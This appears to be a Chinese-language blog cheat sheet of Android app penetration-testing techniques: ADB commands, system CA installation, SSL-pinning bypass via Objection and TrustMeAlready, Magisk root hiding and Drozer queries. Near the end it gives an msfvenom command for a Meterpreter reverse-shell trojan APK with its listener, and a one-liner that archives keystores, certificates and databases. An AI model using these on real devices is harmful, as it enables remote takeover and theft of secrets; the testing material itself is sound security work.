更新一些Android APP测试的技巧。
为了ADB
开启ADB调试的若干方式
参考同站的真无线ADB文章
ADB Cheat Sheet
模拟点击
#获取当前点击手势坐标
adb shell getevent -l |grep ABS_MT_POSITION
#转换XY坐标为10进制
#循环点击并计数
adb shell 'count=1; while true; do echo "序号: $count"; input tap 849 894; sleep 0.1; count=$((count+1)); done'
# or
adb shell 'while true; do input tap 849 894; sleep 0.1; done'
Using ADB to quickly simulate touch events
调出系统设置界面
adb shell am start -n com.android.settings/.Settings
定位APP
adb shell dumpsys window | grep mCurrentFocus
adb shell dumpsys window windows
Tcpudmp远程抓包
adb shell "tcpdump -i any -s 0 -w - not port 5555" | wireshark -k -i -
截屏
adb exec-out screencap -p > 1.png
adb shell screencap /sdcard/1.png
adb pull /sdcard/1.png ./
获取最近任务
adb shell dumpsys activity recents |grep "* Recent"
adb shell dumpsys activity services
获取系统版本
adb shell getprop ro.build.version.release
为了抓包
Android 7.0后的抓包,绕不过SSL-Pinning怎么绕。
首先假设App信任系统证书,比较简单,自制系统证书导入即可。
假若App自建检测证书信任链,这里的方案是Objection Hook或Lsposed模块的TrustMeAlready。
Burpsuite/Android系统证书自制
生成一个有效期为1年的证书:
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
key.pem为私钥,certficate.pem为证书,在firefox证书颁发机构可以直接导入。
将密钥和证书组合在 PKCS#12 (P12) 捆绑软件中,后续在burp导入。
openssl pkcs12 -inkey key.pem -in certificate.pem -export -out certificate.p12
#enter-your-passwd
制作安卓的系统证书,将公钥certificate.pem重命名为类似78ecfd2e.0的名字。
name=$(openssl x509 -inform PEM -subject_hash_old -in certificate.pem | head -1)
cp certificate.pem "$name.0"
导入到Android系统的系统证书目录
adb devices
adb root
adb remount
adb push xxxxxxxx.0 /system/etc/security/cacerts/
adb shell
#修改用户、读取权限
chown root:root /system/etc/security/cacerts/xxxxxxxx.0
chmod 644 /system/etc/security/cacerts/xxxxxxxx.0
配置全局代理
adb shell settings get global http_proxy
adb shell settings put global http_proxy 10.1.0.100:8080
#清除代理
adb shell settings put global http_proxy :0
#不要做删除!!!!删除并不会清空代理
#adb shell settings delete global http_proxy
#adb shell settings delete global global_http_proxy_host
#adb shell settings delete global global_http_proxy_port
adb shell settings list global |grep proxy
objection-sslpinning-disable
adb push frida-server-16.0.19-android-arm64 /data/local/tmp
adb root
adb shell
#On Android:
/data/local/tmp/frida-server-16.0.19-android-arm64 &
# ERROR:frida.TimedOutError: unexpectedly timed out while waiting for signal from process with PID 2292 ==> usap64
# Solved by:
#setprop persist.device_config.runtime_native.usap_pool_enabled false
python3 -m pip install objection
objection -d -g com.cloudy.component explore
android root disable
android sslpinning disable
参考:
Android Hooking and SSLPinning using Objection Framework
TrustMeAlready
TrustMeAlready是LSPosed框架的模块,前身是xposed(不再维护)框架。
LSPosed现在是Magisk模块。
LSPosed有riru与zygisk版,riru已不再维护,推荐zygisk版。
Release下载LSPosed安装包,https://github.com/LSPosed/LSPosed
Magisk刷入后重启。
下滑菜单栏可见LSPosed的通知栏,点击即可进入管理界面。
Release下载TrustMeAlready.apk,https://github.com/ViRb3/TrustMeAlready
安装即可,点击模块,勾选目标应用。
参考链接:
非常全面的抓包对抗思维导图,https://github.com/r0ysue/r0capture/blob/main/README.md
反调试
ROOT检测
改名法
移除su文件,改写su安装包名。
adb root
adb remount
adb shell
find / -name su 2>/dev/null
mv /system/bin/su /system/bin/su1
pm list packages |grep su
备注:笔者在Magisk 25.x测试可修改sysytem目录,升级26.1后修改系统文件则发现提示Read-only file system报错。
Magisk DenyList
笔者Android 13+Magisk26.1,测试可用,Magisk自带的Hook,让应用无法探测到Root环境相关的文件,然而也会让Magisk不能Hook该应用。
- 开启Zygisk模块
- 配置排除清单
- 勾选目标应用
- 点击开启强制排除
还可以进一步地,在Magisk点击Magisk Hide,随机包名重安装。
图文操作可参考:
How To Hide Root From Apps Via Magisk DenyList [Android 13]
Misc. Tools
Scrcpy
屏幕投影
brew install scrcpy
scrcpy
Termux
镜像源加速
termux-change-repo
#在图形界面引导下,使用自带方向键可上下移动。
#第一步使用空格选择需要更换的仓库,之后在第二步选择 TUNA/BFSU 镜像源。确认无误后回车,镜像源会自动完成更换。
#然后就可以畅快下载Python等等环境了。
固件解包
docker run --rm -v "${PWD}":/data -it vm03/payload_dumper /data/payload.bin --out /data
参考:https://github.com/vm03/payload_dumper
APP提取
获取指定APP的路径
# pm list packages
# pm path com.android.shell
package:/system/priv-app/Shell/Shell.apk
常见路径
/vendor/app/
/system/app
/system/priv-app,则该应用程序为系统应用。
/data/app
/data/app-private
一键提取的APP
MSF木马
笔者发现,不是所有电脑都能生成payload,存在玄学(原因待查)。
msfvenom –p android/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=8999 -a dalvik --platform android -o android_shell.apk
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8999
run
解析AndroidManifest.xml
java -jar ./AXMLPrinter2.jar ./CarLauncherHMI/AndroidManifest.xml > AndroidManifest.xml
参考:
https://code.google.com/archive/p/android4me/downloads
NMAP/TCPDUMP/BusyBox
https://github.com/kost/nmap-android
https://www.androidtcpdump.com/android-tcpdump/downloads
https://github.com/meefik/busybox/releases/tag/1.34.1
识别隐藏交互元素
谷歌官方发布的一个辅助功能工具,可帮助您检测Android应用中的可访问性问题。它可以识别当前界面的所有交互元素,包括按钮位置和隐藏按钮。
全局查找敏感文件
find / -type f \( -name "*.cer" -o -name "*.crt" -o -name "*.rsa" -o -name "*.p7b" -o -name "*.p7r" -o -name "*.p7c" -o -name "*.p7m" -o -name "*.p7s" -o -name "*.pem" -o -name "*.p10" -o -name "*.csr" -o -name "*.pvk" -o -name "*.spc" -o -name "*.jks" -o -name "*.ks" -o -name "*.jce" -o -name "*.p12" -o -name "*.pfx" -o -name "*.bks" -o -name "*.ubr" -o -name "*.db" -o -name "*.log" \) -exec tar -czvf /data/local/tmp/files.tar.gz {} + 2>/dev/null
Drozer
开启开发者选项-ADB网络调试
docker run -it fsecurelabs/drozer
drozer console connect --server 192.168.136.86:31415
run scanner.provider.finduris -a (package name)
run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Passwords/
run app.activity.info --package (package name)
run app.activity.start --component com.isi.testapp com.isi.testapp.Welcome
run app.service.info -a com.csair.tangces
Android NDK
https://github.com/android/ndk/wiki/Unsupported-Downloads
临时目录,可读可写可执行
/data/local/tmp/
debuggable的应用导出数据
adb shell "run-as com.tgc.getapk tar -cf - /data/data/ com.tgc.getapk/ " > app_data.tar
壳识别
略
APK安装
pm install termux.apk
pm list packages|grep termux
brew install --cask android-sdk #兼容Java8
#安装build-tools
sdkmanager "build-tools;30.0.3"
#路径
/opt/homebrew/Caskroom/android-sdk/4333796/build-tools/30.0.3/
重安装系统APK
How to use the Hardware Test App from ASUS on a Zenfone running a CustomROM